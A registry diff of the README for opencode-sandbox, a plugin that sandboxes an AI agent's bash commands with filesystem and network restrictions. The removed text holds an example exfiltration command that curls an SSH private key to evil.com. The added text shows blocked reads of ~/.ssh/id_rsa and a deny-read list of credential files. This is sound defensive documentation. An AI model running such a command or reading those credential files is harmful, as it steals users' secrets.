opencode-sandbox 0.1.15 → 0.1.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +69 -26
  2. package/package.json +1 -1
package/README.md CHANGED
@@ -12,19 +12,18 @@ Every `bash` tool invocation is wrapped with OS-level filesystem and network res
12
12
 
13
13
  ## Install
14
14
 
15
- ```bash
16
- # Add to your opencode config
17
- # opencode.json
15
+ ```json
16
+ // opencode.json
18
17
  {
19
18
  "plugin": ["opencode-sandbox"]
20
19
  }
21
20
  ```
22
21
 
23
- The plugin is automatically installed from npm when opencode starts.
22
+ The plugin is automatically installed from npm when OpenCode starts.
24
23
 
25
- ### Linux prerequisite
24
+ ### Linux prerequisites
26
25
 
27
- Ensure `bubblewrap` is installed:
26
+ **1. Install bubblewrap:**
28
27
 
29
28
  ```bash
30
29
  # Debian/Ubuntu
@@ -37,34 +36,76 @@ sudo dnf install bubblewrap
37
36
  sudo pacman -S bubblewrap
38
37
  ```
39
38
 
40
- ## What it does
39
+ **2. Ubuntu 24.04+ (AppArmor fix):**
40
+
41
+ Ubuntu 24.04 and later restrict unprivileged user namespaces via AppArmor, which prevents bubblewrap from working. You need to enable the `bwrap-userns-restrict` AppArmor profile:
42
+
43
+ ```bash
44
+ # Install the AppArmor profiles package
45
+ sudo apt install apparmor-profiles
46
+
47
+ # Create the symlink to enable the profile
48
+ sudo ln -s /etc/apparmor.d/bwrap-userns-restrict /etc/apparmor.d/force-complain/bwrap-userns-restrict
41
49
 
42
- When the agent runs a bash command like:
50
+ # Load the profile
51
+ sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict
52
+ ```
53
+
54
+ You can verify bwrap works:
43
55
 
44
56
  ```bash
45
- curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa)
57
+ bwrap --ro-bind / / --dev /dev --proc /proc -- echo "sandbox works"
58
+ ```
59
+
60
+ Without this fix, bwrap will fail with `loopback: Failed RTM_NEWADDR: Operation not permitted` or `setting up uid map: Permission denied`.
61
+
62
+ ## What it does
63
+
64
+ When the agent runs a bash command, the sandbox enforces three layers of protection:
65
+
66
+ ### Filesystem write protection
67
+
68
+ Commands can only write to the project directory and `/tmp`. Writing anywhere else returns "Read-only file system":
69
+
70
+ ```
71
+ $ touch ~/some-file
72
+ touch: cannot touch '/home/user/some-file': Read-only file system
73
+
74
+ $ echo "data" > /etc/config
75
+ /usr/bin/bash: line 1: /etc/config: Read-only file system
76
+ ```
77
+
78
+ ### Sensitive file read protection
79
+
80
+ Access to credential directories is blocked:
81
+
46
82
  ```
83
+ $ cat ~/.ssh/id_rsa
84
+ cat: /home/user/.ssh/id_rsa: Permission denied
85
+ ```
86
+
87
+ ### Network allowlist
47
88
 
48
- The sandbox blocks it:
89
+ Only approved domains are reachable. All other traffic is blocked via a local proxy:
49
90
 
50
91
  ```
51
- cat: /home/user/.ssh/id_rsa: Operation not permitted
92
+ $ curl https://evil.com
52
93
  Connection blocked by network allowlist
94
+
95
+ $ curl https://registry.npmjs.org
96
+ (works — npmjs.org is in the default allowlist)
53
97
  ```
54
98
 
55
99
  ### Default restrictions
56
100
 
57
101
  **Filesystem (deny-read)**:
58
- - `~/.ssh`
59
- - `~/.gnupg`
60
- - `~/.aws/credentials`
61
- - `~/.config/gcloud`
62
- - `~/.npmrc`
63
- - `~/.env`
102
+ - `~/.ssh`, `~/.gnupg`
103
+ - `~/.aws/credentials`, `~/.config/gcloud`
104
+ - `~/.npmrc`, `~/.env`
64
105
 
65
106
  **Filesystem (allow-write)**:
66
107
  - Project directory
67
- - Git worktree
108
+ - Git worktree (validated — unsafe paths like `/` are rejected)
68
109
  - `/tmp`
69
110
 
70
111
  **Network (allow-only)**:
@@ -82,7 +123,8 @@ Everything else is **blocked by default**.
82
123
 
83
124
  ### Option 1: Config file
84
125
 
85
- ```json title=".opencode/sandbox.json"
126
+ ```json
127
+ // .opencode/sandbox.json
86
128
  {
87
129
  "filesystem": {
88
130
  "denyRead": ["~/.ssh", "~/.aws/credentials"],
@@ -128,12 +170,14 @@ Or in `.opencode/sandbox.json`:
128
170
  The plugin uses two OpenCode hooks:
129
171
 
130
172
  1. **`tool.execute.before`** — Intercepts bash commands and wraps them with `SandboxManager.wrapWithSandbox()` before execution
131
- 2. **`tool.execute.after`** — Detects sandbox-blocked operations in the output and annotates them for the agent
173
+ 2. **`tool.execute.after`** — Restores the original command in the UI (hides the bwrap wrapper)
132
174
 
133
175
  ```
134
- Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin annotates blocks] → Agent
176
+ Agent → bash tool → [plugin wraps command] → sandboxed execution → [plugin restores UI] → Agent
135
177
  ```
136
178
 
179
+ The AI model interprets sandbox errors (like "Read-only file system" or "Connection blocked") directly from command output — no additional annotation layer needed.
180
+
137
181
  ### Fail-open design
138
182
 
139
183
  If anything goes wrong (sandbox init fails, wrapping fails, platform unsupported), commands run normally without sandbox. The plugin never breaks your workflow.
@@ -149,9 +193,8 @@ bun install
149
193
  # Run tests
150
194
  bun test
151
195
 
152
- # Use as local plugin
153
- # In your project's .opencode/plugins/sandbox.ts:
154
- export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
196
+ # Build
197
+ bun run build
155
198
  ```
156
199
 
157
200
  ## Architecture
@@ -159,10 +202,10 @@ export { SandboxPlugin } from "/path/to/opencode-sandbox/src/index"
159
202
  ```
160
203
  src/
161
204
  ├── index.ts # Plugin entry — exports SandboxPlugin, hooks into tool.execute.before/after
162
- └── config.ts # Config loading (env var, .opencode/sandbox.json) + defaults + resolution
205
+ └── config.ts # Config loading (env var, .opencode/sandbox.json) + defaults + path validation
163
206
 
164
207
  test/
165
- ├── config.test.ts # Unit tests for config resolution
208
+ ├── config.test.ts # Unit tests for config resolution and path safety
166
209
  └── plugin.test.ts # Integration tests for plugin hooks
167
210
  ```
168
211
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "opencode-sandbox",
3
- "version": "0.1.15",
3
+ "version": "0.1.16",
4
4
  "description": "OpenCode plugin that sandboxes agent commands using @anthropic-ai/sandbox-runtime (seatbelt on macOS, bubblewrap on Linux)",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",